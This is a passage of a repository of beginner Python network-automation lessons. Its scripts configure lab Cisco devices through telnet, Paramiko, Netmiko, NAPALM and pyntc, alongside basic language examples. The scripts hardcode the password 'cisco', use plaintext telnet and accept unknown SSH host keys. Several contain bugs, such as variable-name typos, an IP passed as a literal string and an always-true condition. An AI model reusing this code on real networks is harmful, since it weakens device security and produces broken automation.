4 | import telnetlib 5 | 6 | HOST = "192.168.1.50" 7 | user = input("Enter your telnet username: ") 8 | password = getpass.getpass() 9 | 10 | tn = telnetlib.Telnet(HOST) 11 | 12 | tn.read_until(b"Username: ") 13 | tn.write(user.encode('ascii') + b"\n") 14 | if password: 15 | tn.read_until(b"Password: ") 16 | tn.write(password.encode('ascii') + b"\n") 17 | 18 | tn.write(b"enable\n") 19 | tn.write(b"cisco\n") 20 | tn.write(b"config t\n") 21 | tn.write(b"int loop0\n") 22 | tn.write(b"ip add 10.0.0.1 255.255.255.255\n") 23 | tn.write(b"end\n") 24 | tn.write(b"exit\n") 25 | 26 | print(tn.read_all().decode('ascii')) 27 | 28 | # in linux type chmod -x ./telnet.py 29 | -------------------------------------------------------------------------------- /19 Paramiko S1script3inband.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import getpass 4 | import sys 5 | import telnetlib 6 | 7 | user = raw_input("Enter your telnet username: ") 8 | password = getpass.getpass() 9 | 10 | 11 | for n in range (72,77): 12 | print "Telnet to host" + str(n) 13 | HOST = "192.168.122." + str(n) 14 | tn = telnetlib.Telnet(HOST) 15 | 16 | tn.read_until("Username: ") 17 | tn.write(user + "\n") 18 | 19 | if password: 20 | tn.read_until("Password: ") 21 | tn.write(password + "\n") 22 | 23 | tn.write("conf t\n") 24 | 25 | for n in range (2,21): 26 | tn.write("vlan " + str(n) + "\n") 27 | tn.write("name Python_VLAN_" + str(n) + "\n") 28 | 29 | tn.write("end\n") 30 | tn.write("wr\n") 31 | tn.write("exit\n") 32 | print tn.read_all() 33 | -------------------------------------------------------------------------------- /19 Paramiko paramiko-pythonssh1.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import time 3 | 4 | ip_address = "192.168.3.52" 5 | username = "yasser" 6 | password = "cisco" 7 | 8 | ssh_client = paramiko.SSHClient() 9 | ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 10 | ssh_client.connect(hostname=ip_address,username=username,password=password) 11 | 12 | print ("Successful connection", ip_address) 13 | 14 | remote_connection = ssh_client.invoke_shell() 15 | 16 | remote_connection.send("ena\n") 17 | remote_connection.send("cisco\n") 18 | remote_connection.send("config t\n") 19 | remote_connection.send("int loop 0\n") 20 | remote_connection.send("ip address 1.1.1.1 255.255.255.255\n") 21 | remote_connection.send("int loop 1\n") 22 | remote_connection.send("ip address 2.2.2.2 255.255.255.255\n") 23 | remote_connection.send("ip routing\n") 24 | remote_connection.send("router ospf 1\n") 25 | remote_connection.send("network 0.0.0.0 255.255.255.255 area 0\n") 26 | 27 | for n in range (2,21): 28 | print ("Creating VLAN " + str(n)) 29 | remote_connection.send("vlan " + str(n) + "\n") 30 | remote_connection.send("name Python_VLAN " + str(n) + "\n") 31 | time.sleep(0.5) 32 | 33 | remote_connection.send("end\n") 34 | 35 | time.sleep(1) 36 | output = remote_connection.recv(65535) 37 | print (output) 38 | 39 | ssh_client.close 40 | -------------------------------------------------------------------------------- /20 Netmiko netmiko0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from netmiko import ConnectHandler 4 | 5 | iosv_l2 = { 6 | 'device_type': 'cisco_ios', 7 | 'ip': '192.168.3.50', 8 | 'username': 'yasser', 9 | 'password': 'cisco', 10 | } 11 | 12 | 13 | net_connect = ConnectHandler(**iosv_l2) 14 | #net_connect.find_prompt() 15 | output = net_connect.send_command('show ip int brief') 16 | print (output) 17 | output = net_connect.send_command('show version | in uptime') 18 | 19 | print (output) 20 | 21 | -------------------------------------------------------------------------------- /20 Netmiko netmiko00.py: -------------------------------------------------------------------------------- 1 | from netmiko import ConnectHandler 2 | 3 | device = ConnectHandler(device_type='cisco_ios', ip='192.168.3.50', username='yasser', password='cisco') 4 | output = device.send_command('show version') 5 | print (output) 6 | config_commands = ['config t', 'int loop 1', 'ip address 2.2.2.2 255.255.255.0'] 7 | output = device.send_config_set(config_commands) 8 | print (output) 9 | device.send_command("write memory") 10 | device.disconnect() 11 | -------------------------------------------------------------------------------- /20 Netmiko netmiko2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from netmiko import ConnectHandler 4 | 5 | iosv_l2_s1 = { 6 | 'device_type': 'cisco_ios', 7 | 'ip': '192.168.3.51', 8 | 'username': 'yasser', 9 | 'password': 'cisco', 10 | } 11 | 12 | iosv_l2_s2 = { 13 | 'device_type': 'cisco_ios', 14 | 'ip': '192.168.3.52', 15 | 'username': 'yasser', 16 | 'password': 'cisco', 17 | } 18 | 19 | 20 | all_devices = [iosv_l2_s1, iosv_l2_s2] 21 | 22 | for devices in all_devices: 23 | net_connect = ConnectHandler(**devices) 24 | for n in range (2,21): 25 | print "Creating VLAN " + str(n) 26 | config_commands = ['vlan ' + str(n), 'name Python_VLAN ' + str(n)] 27 | output = net_connect.send_config_set(config_commands) 28 | print output 29 | -------------------------------------------------------------------------------- /20 Netmiko netmiko1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from netmiko import ConnectHandler 4 | 5 | iosv_l2 = { 6 | 'device_type': 'cisco_ios', 7 | 'ip': '192.168.3.51', 8 | 'username': 'yasser', 9 | 'password': 'cisco', 10 | } 11 | 12 | 13 | net_connect = ConnectHandler(**iosv_l2) 14 | #net_connect.find_prompt() 15 | output = net_connect.send_command('show ip int brief') 16 | print (output) 17 | 18 | config_commands = ['int loop 0', 'ip address 1.1.1.1 255.255.255.0'] 19 | output = net_connect.send_config_set(config_commands) 20 | print (output) 21 | 22 | for n in range (2,21): 23 | print ("Creating VLAN " + str(n)) 24 | config_commands = ['vlan ' + str(n), 'name Python_VLAN ' + str(n)] 25 | output = net_connect.send_config_set(config_commands) 26 | print (output) 27 | -------------------------------------------------------------------------------- /20 Netmiko netmiko2rou.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from netmiko import ConnectHandler 4 | 5 | iosv_l2_s1 = { 6 | 'device_type': 'cisco_ios', 7 | 'ip': '10.6.0.50', 8 | 'username': 'yasser', 9 | 'password': 'cisco', 10 | } 11 | 12 | 13 | iosv_l2_s2 = { 14 | 'device_type': 'cisco_ios', 15 | 'ip': '10.6.0.51', 16 | 'username': 'yasser', 17 | 'password': 'cisco', 18 | } 19 | with open('iosv_l2_config1.txt') as f: 20 | lines = f.read().splitlines() 21 | print (lines) 22 | 23 | all_devices = [iosv_l2_s1, iosv_l2_s2] 24 | 25 | for devices in all_devices: 26 | net_connect = ConnectHandler(**devices) 27 | output = net_connect.send_config_set(lines) 28 | print (output) 29 | -------------------------------------------------------------------------------- /21 NAPALM nap6.py: -------------------------------------------------------------------------------- 1 | from napalm import get_network_driver 2 | 3 | driver = get_network_driver('ios') 4 | iosvl2 = driver('192.168.3.51', 'yasser', 'cisco') 5 | iosvl2.open() 6 | print('Accessing 192.168.3.51') 7 | iosvl2.load_merge_candidate(filename='ACL.cfg') 8 | iosvl2.commit_config() 9 | isovl2.close 10 | -------------------------------------------------------------------------------- /21 NAPALM nap1.py: -------------------------------------------------------------------------------- 1 | from napalm import get_network_driver 2 | driver = get_network_driver('ios') 3 | iosvl2 = driver('192.168.3.50', 'yasser', 'cisco') 4 | iosvl2.open() 5 | ios_output = iosvl2.get_facts() 6 | print (ios_output) 7 | -------------------------------------------------------------------------------- /21 NAPALM nap2.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | from napalm import get_network_driver 4 | 5 | driver = get_network_driver('ios') 6 | 7 | iosvl2 = driver('192.168.3.50', 'yasser', 'cisco') 8 | 9 | iosvl2.open() 10 | 11 | ios_output = iosvl2.get_facts() 12 | 13 | print (json.dumps(ios_output, indent=4)) 14 | -------------------------------------------------------------------------------- /21 NAPALM nap3.py: -------------------------------------------------------------------------------- 1 | import json 2 | from napalm import get_network_driver 3 | driver = get_network_driver('ios') 4 | iosvl2 = driver('192.168.3.50', 'yasser', 'cisco') 5 | iosvl2.open() 6 | 7 | ios_output = iosvl2.get_facts() 8 | print (json.dumps(ios_output, indent=4)) 9 | 10 | 11 | ios_output = iosvl2.get_interfaces() 12 | print (json.dumps(ios_output, sort_keys=True, indent=4)) 13 | 14 | ios_output = iosvl2.get_interfaces_counters() 15 | print (json.dumps(ios_output, indent=4)) 16 | 17 | ios_output = iosvl2. get_interfaces_ip() 18 | print (json.dumps(ios_output, indent=4)) 19 | 20 | ios_output = iosvl2. get_config() 21 | print (json.dumps(ios_output, indent=4)) 22 | 23 | ios_output = iosvl2.ping('google.com') 24 | print (json.dumps(ios_output, indent=4)) 25 | -------------------------------------------------------------------------------- /21 NAPALM nap4.py: -------------------------------------------------------------------------------- 1 | import json 2 | from napalm import get_network_driver 3 | driver = get_network_driver('ios') 4 | iosvl2 = driver('192.168.3.50', 'yasser', 'cisco') 5 | iosvl2.open() 6 | 7 | ios_output = iosvl2.get_facts() 8 | 9 | bgp_neighbors = iosvl2.get_bgp_neighbors() 10 | print (json.dumps(bgp_neighbors, indent=4)) 11 | 12 | isovl2.close() 13 | -------------------------------------------------------------------------------- /21 NAPALM nap5.py: -------------------------------------------------------------------------------- 1 | import json 2 | from napalm import get_network_driver 3 | bgplist = ['192.168.3.50' , '192.168.3.60'] 4 | for ip_address in bgplist: 5 | print("connection to " + str(ip_address)) 6 | driver = get_network_driver('ios') 7 | iosvl2 = driver('ip_address', 'yasser', 'cisco') 8 | iosvl2.open() 9 | bgp_neighbors = iosvl2.get_bgp_neighbors() 10 | print (json.dumps(bgp_neighbors, indent=4)) 11 | isovl2.close() 12 | -------------------------------------------------------------------------------- /21 NAPALM socketping.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 4 | for n in range(50, 52): 5 | server_ip="192.168.3.{0}".format(n) 6 | rep = os.system('ping ' + server_ip) 7 | if rep == 0: 8 | print ("server is up" ,server_ip) 9 | else: 10 | print ("server is down" ,server_ip) 11 | -------------------------------------------------------------------------------- /22Pyntc pyntc1.py: -------------------------------------------------------------------------------- 1 | #pip install urllib3 2 | #pip install pyntc 3 | import json 4 | from pyntc import ntc_device as NTC 5 | 6 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 7 | iosvl2.open() 8 | 9 | ios_output =iosvl2.facts 10 | print(json.dumps(ios_output, indent=4)) 11 | -------------------------------------------------------------------------------- /22Pyntc pyntc2.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pyntc import ntc_device as NTC 3 | 4 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 5 | iosvl2.open() 6 | 7 | ios_output =iosvl2.facts 8 | print(json.dumps(ios_output, indent=4)) 9 | 10 | iosvl2.config_list(['hostname R100']) 11 | -------------------------------------------------------------------------------- /22Pyntc pyntc3.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pyntc import ntc_device as NTC 3 | 4 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 5 | iosvl2.open() 6 | 7 | ios_output =iosvl2.facts 8 | print(json.dumps(ios_output, indent=4)) 9 | 10 | iosvl2.config_list(['hostname R100', 'router ospf 100', 'network 192.168.1.0 0.0.0.255 area 0']) 11 | -------------------------------------------------------------------------------- /22Pyntc pyntc4.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pyntc import ntc_device as NTC 3 | 4 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 5 | iosvl2.open() 6 | 7 | ios_output =iosvl2.facts 8 | print(json.dumps(ios_output, indent=4)) 9 | 10 | iosvl2.config_list(['hostname R100', 11 | 'router ospf 100', 12 | 'network 192.168.1.0 0.0.0.255 area 0']) 13 | -------------------------------------------------------------------------------- /22Pyntc pyntc5.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pyntc import ntc_device as NTC 3 | 4 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 5 | iosvl2.open() 6 | 7 | ios_run =iosvl2.running_config 8 | print(ios_run) 9 | 10 | -------------------------------------------------------------------------------- /22Pyntc pyntc6.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pyntc import ntc_device as NTC 3 | 4 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 5 | iosvl2.open() 6 | 7 | ios_run =iosvl2.running_config 8 | print(ios_run) 9 | 10 | HOST = '192.168.1.50' 11 | saveoutput = open('router' + HOST, 'w') 12 | saveoutput.write(ios_run) 13 | saveoutput.close 14 | -------------------------------------------------------------------------------- /22Pyntc pyntc7.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pyntc import ntc_device as NTC 3 | 4 | iosvl2 = NTC(host='192.168.1.50', username='yasser', password='cisco', device_type='cisco_ios_ssh') 5 | iosvl2.open() 6 | 7 | ios_run = iosvl2.backup_running_config('R100.cfg') 8 | -------------------------------------------------------------------------------- /3 Variables & Operators format example 1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | x = format(0.5, '%') 7 | print(x) 8 | 9 | #format(value, format) 10 | 11 | -------------------------------------------------------------------------------- /3 Variables & Operators format example 2.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | x = format(255, 'x') 7 | print(x) 8 | 9 | #Format 255 into a hexadecimal value: 10 | -------------------------------------------------------------------------------- /3 Variables & Operators input example.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | firstname=input("what is your name?") 7 | print("Hi "+firstname+"!") 8 | -------------------------------------------------------------------------------- /3 Variables & Operators input1.py: -------------------------------------------------------------------------------- 1 | print('Enter your name:') 2 | x = input() 3 | print('Hello, ' + x) 4 | 5 | #input(prompt) 6 | #prompt A String, representing a default message before the input. 7 | 8 | #For Python 2, the function raw_input() is used to get string input from 9 | #the user via the command line, while the input() function returns will 10 | #actually evaluate the input string and try to run it as Python code. 11 | -------------------------------------------------------------------------------- /3 Variables & Operators py1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | #Example 1 7 | X=100 8 | Z=2 9 | A='is your score Yasser' 10 | Z=X*Z 11 | device=""" Cisco R1 12 | in subnet100 """ 13 | B='\'this test\'' 14 | print(Z) 15 | print(A) 16 | print(device) 17 | print(B) 18 | #Example 2 User Defined Function 19 | def myf1(num1,num2): 20 | answer = num1 + num2 21 | print('num1 is ' ,num1) 22 | print(answer) 23 | myf1(1,3) 24 | 25 | #Example 3 Print Text with Numbers ( Intgers with strings) 26 | A="The Result is =" 27 | B=1490+10 28 | C="Bytes MTU" 29 | print (A+str(B)+str(C)) 30 | 31 | #Example 4 useing Input Function 32 | firstname=input("what is your name?") 33 | print("Hi "+firstname+"!") 34 | 35 | #Example 5 useing format method tied with int 36 | #Format 255 into a hexadecimal value: 37 | #format(value, format) 38 | 39 | 40 | a = format(255, 'x') 41 | print(a) 42 | 43 | a = format(255, 'X') 44 | print(a) 45 | 46 | 47 | a = format(0.5, '%') 48 | print(a) 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /4 Data types 2stringspy.py: -------------------------------------------------------------------------------- 1 | #String 2 | my_string = 'here we are recording' 3 | print(len(my_string)) 4 | print (my_string[0]) 5 | print (my_string[20]) 6 | print (my_string[0:5]) 7 | print(my_string[0::2]) 8 | print(my_string.capitalize()) 9 | print(my_string.count('e')) 10 | 11 | my_string2 = 'dfllkhdfdfdfdddfhhlhljhjlhj' 12 | print(my_string.count('df')) 13 | print(my_string.count('d')) 14 | 15 | 16 | print ("I'd like %d %s" % (5,"CCIEs")) 17 | print ("I am %d%% sure." % (100)) 18 | -------------------------------------------------------------------------------- /4 Data types 3listpy.py: -------------------------------------------------------------------------------- 1 | #List 2 | 3 | years = [2000, 2001, 2002] 4 | print(years) 5 | Repeatable = [2000, 2001, 2000] 6 | print(Repeatable) 7 | mix = [2000, "yasser", 2002] 8 | print(mix) 9 | 10 | x = ["A", "B", "C"] 11 | y = ["D", "E"] 12 | z = x + y 13 | print(z) 14 | z = x * 3 15 | print(z) 16 | z = "A" in y 17 | print(z) 18 | 19 | fastethernet_speed=['auto', '10', '100'] 20 | print(fastethernet_speed) 21 | print(fastethernet_speed[0]) 22 | 23 | portList = [] 24 | portList.append(21) 25 | portList.append(80) 26 | portList.append(443) 27 | portList.append(25) 28 | print(portList) 29 | 30 | portList.sort() 31 | print(portList) 32 | 33 | pos = portList.index(80) 34 | print ("[+] There are "+str(pos)+" ports to scan before 80.") 35 | portList.remove(443) 36 | print(portList) 37 | 38 | test = 'CCIE CCNP CCNA and CCNT' 39 | print(test.split()) 40 | 41 | 42 | 43 | fastethernet_duplex = 'auto half full' 44 | fastethernet_duplex_list = fastethernet_duplex.split() 45 | print(fastethernet_duplex_list) 46 | 47 | fastethernet_duplex_list[0] = 'Auto' 48 | fastethernet_duplex_list[1] = 'Half' 49 | fastethernet_duplex_list[2] = 'Full' 50 | print(fastethernet_duplex_list) 51 | print(fastethernet_duplex_list[0]) 52 | 53 | del fastethernet_duplex_list[0] 54 | print(fastethernet_duplex_list) 55 | 56 | print('Auto' in fastethernet_duplex_list) 57 | -------------------------------------------------------------------------------- /4 Data types 4rangepy.py: -------------------------------------------------------------------------------- 1 | #Range 2 | 3 | 4 | x = range(6) 5 | for n in x: 6 | print(n) 7 | 8 | 9 | for n in range(1, 7): 10 | print ('number ') 11 | print (n) 12 | 13 | import subprocess 14 | import os 15 | 16 | for n in range(1, 10): 17 | ip="192.168.1.{0}".format(n) 18 | subprocess.call(["ping", ip]) 19 | -------------------------------------------------------------------------------- /4 Data types 5tuplespy.py: -------------------------------------------------------------------------------- 1 | #Tuple 2 | 3 | My_tuble = (10, 200, 300, 400, "yasser") 4 | print(My_tuble[0]) 5 | print(My_tuble[4]) 6 | print(My_tuble[2:4]) 7 | 8 | -------------------------------------------------------------------------------- /4 Data types 6dicpy.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | dict = {"R1":2911, "R2":2811, "R3":2911} 5 | print(dict["R2"]) 6 | dict["R4"] = 1841 7 | print(dict) 8 | 9 | service = {"FTP":21,"SSH":22, "SMTP":25, "HTTP":80} 10 | dir(service) 11 | print(service.keys()) 12 | print(service.items()) 13 | 14 | dict2 = {"SW1VLAN":[123,456,789]} 15 | print(dict2) 16 | 17 | 18 | mydict={"R1":"10.0.0.1", "R2":"10.0.0.2", "R3":"10.0.0.3"} 19 | print(mydict["R2"]) 20 | 21 | myinterface={'interface Loopback0': [ 22 | 'ip address 10.10.10.10 255.255.255.255', 23 | 'ip flow ingress', 24 | 'h323-gateway voip interface', 25 | 'h323-gateway voip bind srcaddr 10.10.10.10', 26 | ]} 27 | print(myinterface) 28 | 29 | #Add a Key-Value Pair to the Dictionary 30 | key=str(input("Enter the Device name to be added:")) 31 | value=int(input("Enter the Device model to be added:")) 32 | d={} 33 | d.update({key:value}) 34 | print("Updated dictionary is:") 35 | print(d) 36 | 37 | #we can change str to int 38 | -------------------------------------------------------------------------------- /4 Data types 7setpy.py: -------------------------------------------------------------------------------- 1 | #Set 2 | 3 | my_set={"R1", "R2", "R3", 100} 4 | 5 | my_set2=set({"SW1", "SW2", "SW3", 1000}) 6 | 7 | print(my_set) 8 | print(my_set2) 9 | -------------------------------------------------------------------------------- /4 Data types ConvertN.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | 7 | #A number with the prefix '0b' is considered binary, '0o' is considered octal and '0x' as hexadecimal. For example: 8 | 9 | #60 = 0b11100 = 0o74 = 0x3c 10 | # Python program to convert decimal number into binary, octal and hexadecimal number system 11 | 12 | # Change this line for a different result 13 | dec = 344 14 | 15 | print("The decimal value of",dec,"is:") 16 | print(bin(dec),"in binary.") 17 | print(oct(dec),"in octal.") 18 | print(hex(dec),"in hexadecimal.") 19 | -------------------------------------------------------------------------------- /4 Data types dic1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | #Add a Key-Value Pair to the Dictionary 7 | 8 | 9 | key=str(input("Enter the Device type to be added:")) 10 | value=int(input("Enter the Device model to be added:")) 11 | d={} 12 | d.update({key:value}) 13 | print("Updated dictionary is:") 14 | print(d) 15 | 16 | #we can change str to int 17 | -------------------------------------------------------------------------------- /4 Data types range1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | #The range() function returns a sequence of numbers, starting from 0 by 7 | #default, and increments by 1 (by default), and ends at a specified 8 | #number. 9 | 10 | #range(start, stop, step) 11 | 12 | #Parameter Description 13 | #start Optional. An integer number specifying at which position to start. Default is 0 14 | #stop Optional. An integer number specifying at which position to end. 15 | #step Optional. An integer number specifying the incrementation. Default is 1 16 | 17 | x = range(6) 18 | for n in x: 19 | print(n) 20 | 21 | 22 | -------------------------------------------------------------------------------- /4 Data types rangefor.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | for n in range(1, 7): 7 | print ("number") 8 | print (n) 9 | -------------------------------------------------------------------------------- /4 Data types str1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | 7 | #Python str() Function 8 | #Convert the number 3.5 into an string: 9 | 10 | x = str(3.5) 11 | print(x) 12 | 13 | #str(object, encoding=encoding, errors=errors) 14 | 15 | #Parameter Description 16 | #object Any object. Specifies the object to convert into a string 17 | #encoding The encoding of the object. Default is UTF-8 18 | #errors Specifies what to do if the decoding fails 19 | -------------------------------------------------------------------------------- /4 Data types str2.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | #Convert a string into an integer: 7 | x = int("12") 8 | print(x) 9 | -------------------------------------------------------------------------------- /4 Data types 1datatypes.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | 7 | #String 8 | A='Router1' 9 | print('This is string ', A) 10 | 11 | #Number 12 | B=100 13 | print('This is number', B) 14 | 15 | #Boolean 16 | C=True 17 | print('This is Boolean', C) 18 | 19 | #List 20 | D=[2811, 2911, 3750] 21 | print('This is List', D) 22 | 23 | #Range 24 | E= range(0, 20 ,5) 25 | print('This is range', E) 26 | 27 | #Tuple 28 | F=(10, 200, 300, 400, "yasser") 29 | print('This is range', F) 30 | 31 | #Dictionary 32 | X={"ephone-dn 1":3001, "ephone-dn 1":3002, "ephone-dn 3":3330} 33 | print('This is dictioanry', X) 34 | 35 | #Set 36 | Y={"CCNA", "CCNP", "CCIE", 1973} 37 | print('This is set', X) 38 | -------------------------------------------------------------------------------- /7 Conditions 2 compundexample.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | vendor = input('Enter the type of device:') 7 | if ('Cisco' in vendor) or ('cisco in vendor'): 8 | print ('sh run') 9 | else: 10 | print ('Only Cisco Devices supported') 11 | 12 | print ('\nExiting program...') 13 | -------------------------------------------------------------------------------- /7 Conditions 4 if1.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | 7 | rtr = input('Enter the hostname:') 8 | vendor = input('Enter the type of device:') 9 | if ('Hawaii' in vendor) or ('hawaii' in vendor): 10 | print ('display current') 11 | elif ('Juniper' in vendor) or ('juniper' in vendor): 12 | print ('sh configuration') 13 | else: 14 | print ('sh run') 15 | 16 | print ('\nExiting program...') 17 | -------------------------------------------------------------------------------- /7 Conditions 5 if2.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | rtr = input('Enter Neighbor Device Type:') 7 | Interface = input('Enter Local Interface Name:') 8 | Speed = input('Enter Interface Speed Required:') 9 | if ('hub' in rtr): 10 | print ('Remeber speed should be always auto') 11 | elif ('10' in Speed) or ('100' in Speed): 12 | print ('you should set speed to auto') 13 | else: 14 | print ('your setting is acceptable') 15 | 16 | print ('\nExiting program...') 17 | -------------------------------------------------------------------------------- /7 Conditions continue example.py: -------------------------------------------------------------------------------- 1 | for i in range(9): 2 | if i == 9: 3 | continue 4 | print(i) 5 | -------------------------------------------------------------------------------- /7 Conditions ifpy.py: -------------------------------------------------------------------------------- 1 | rtr = input('Enter the hostname:') 2 | vendor = input('Enter the type of device:') 3 | if ('Hawaii' in vendor) or ('hawaii' in vendor): 4 | print ('display current') 5 | elif ('Juniper' in vendor) or ('juniper' in vendor): 6 | print ('sh configuration') 7 | else: 8 | print ('sh run') 9 | 10 | print ('\nExiting program...') 11 | 12 | 13 | rtr = input('Enter Neighbor Device Type:') 14 | Interface = input('Enter Local Interface Name:') 15 | Speed = input('Enter Interface Speed Required:') 16 | if ('hub' in rtr): 17 | print ('Remeber speed should be always auto') 18 | elif ('10' in Speed) or ('100' in Speed): 19 | print ('you should set speed to auto') 20 | else: 21 | print ('your setting is acceptable') 22 | 23 | print ('\nExiting program...') 24 | 25 | 26 | 27 | 28 | 29 | 30 | # Example file for working with conditional statements 31 | 32 | def main(): 33 | x, y = 10, 100 34 | 35 | # conditional flow uses if, elif, else 36 | if(x < y): 37 | st= "x is less than y" 38 | elif (x == y): 39 | st= "x is same as y" 40 | else: 41 | st= "x is greater than y" 42 | print (st) 43 | 44 | # conditional statements let you use "a if C else b" 45 | st = "x is less than y" if (x < y) else "x is greater than or equal to y" 46 | print (st) 47 | 48 | # Python does not have support for higher-order conditionals 49 | # like "switch-case" in other languages 50 | 51 | if __name__ == "__main__": 52 | main() 53 | 54 | 55 | 56 | print("Welcome!") 57 | g = input("Guess the number: ") 58 | guess = int(g) 59 | if guess == 5: 60 | print("You win!") 61 | else: 62 | print("You lose!") 63 | print("Game over!") 64 | -------------------------------------------------------------------------------- /7 Conditions1 first python app.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | print("Welcome!") 7 | g = input("Guess the number: ") 8 | guess = int(g) 9 | if guess == 5: 10 | print("You win!") 11 | else: 12 | print("You lose!") 13 | print("Game over!") 14 | -------------------------------------------------------------------------------- /7 conndition 3 conditincon.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | 7 | # Example file for working with conditional statements 8 | 9 | def main(): 10 | x, y = 10, 100 11 | 12 | # conditional flow uses if, elif, else 13 | if(x < y): 14 | st= "x is less than y" 15 | elif (x == y): 16 | st= "x is same as y" 17 | else: 18 | st= "x is greater than y" 19 | print (st) 20 | 21 | # conditional statements let you use "a if C else b" 22 | st = "x is less than y" if (x < y) else "x is greater than or equal to y" 23 | print (st) 24 | 25 | # Python does not have support for higher-order conditionals 26 | # like "switch-case" in other languages 27 | 28 | if __name__ == "__main__": 29 | main() 30 | -------------------------------------------------------------------------------- /8 Loops breakloop.py: -------------------------------------------------------------------------------- 1 | #CCIE/CCSI:Yasser Ramzy Auda 2 | #https://www.facebook.com/yasser.auda 3 | #https://www.linkedin.com/in/yasserauda/ 4 | #https://github.com/YasserAuda/PythonForNetowrk-Cisco 5 | 6 | fruits 